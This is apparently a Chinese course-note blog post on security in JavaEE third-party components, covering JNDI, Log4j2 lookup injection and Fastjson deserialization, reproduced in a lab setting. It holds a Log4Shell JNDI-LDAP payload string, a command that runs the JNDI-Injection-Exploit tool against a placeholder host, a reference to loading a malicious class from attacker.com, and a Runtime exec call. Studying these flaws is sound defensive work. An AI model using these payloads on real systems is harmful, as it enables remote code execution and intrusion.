【036-安全开发篇】JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

思维导图

知识点:

1、JavaEE-组件安全-Log4j

2、JavaEE-组件安全-Fastjson

3、JavaEE-基本了解-JNDI-API

章节点

Java:

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

课前配置

  1. Jar仓库:
    https://mvnrepository.com/

  2. Maven配置:
    https://www.jb51.net/article/259780.htm

  3. JNDI注入:(见图)

    Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

演示案例:

复制代码
Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射

Java-三方组件-Log4J&JNDI

Log4J:

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

1、Maven引用Log4j

2、接受用户输入值

3、Log4j处理错误输入

4、利用jndi-ldap执行

Test:

复制代码
String code="test";
String code="${java:os}";
logger.error("{}",code);
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";


我的理解(AI验证是对的):

  1. Log4j2的bug在哪? 首先,Log4j2 支持一种叫做"Lookup"的功能,允许在日志消息中动态地插入一些值,例如系统环境变量、Java版本信息等。语法就是 ${prefix:name}。←我们根据这个特性可以搞些操作
  2. JNDI是什么?JNDI是Java的一个API,用于访问各种命名和目录服务,比如LDAP、RMI等。你可以把它理解成一个"资源查找器",通过一个名字(如 java:comp/env/jdbc/datasource)来查找对应的资源(如数据库连接)。
  3. 你可能会问为什么用jndi?攻击者选择JNDI是因为它支持从远程服务器加载对象。如果JNDI lookup的地址是一个远程URL,Java应用(在特定版本和配置下)会去这个地址查找并下载对象。这就为从外部加载代码提供了可能。
  4. 为什么用ldap? 因为LDAP有重定向的功能。攻击者可以在自己的恶意LDAP服务器上设置一个"引用"。当Java应用向LDAP服务器查询 uyhyw6这个条目时,LDAP服务器不会直接返回数据,而是回复一个"重定向指令",告诉Java应用:"你要的类实际在这个HTTP地址:http://attacker.com/恶意.class"。Java应用会乖乖地去这个HTTP地址下载并实例化恶意类。
  5. 至于后面一串IP地址,则是包含了有恶意代码的,ldap的重定向去了那,java下载进去就是引狼入室了。
  6. 具体IP地址怎么生成,似乎是用脚本

服务器:

java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

Java-三方组件-FastJson&反射

FastJson:

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1、Maven引用Fastjson

2、创建需转换类对象User

3、使用Fastjson进行数据转换

4、数据转换(对象转Json,Json转对象)

  • 对象转Json(带类型)
    JSONObject.toJSONString(u)
    JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
  • Json转对象
    JSON.parseObject(exp)


    ↑利用这个可以知道数据格式是怎么样的,然后利用这个格式,插入我们想要的代码。

Test:

复制代码
Runtime.getRuntime().exec("calc");

服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891

结语

这章主要是去jar包仓库找有漏洞的组件,然后看到他的cve编号,去网上搜索有关这个漏洞的复现。

相关推荐
用户962377954488 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机11 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机11 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544812 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star12 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544816 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全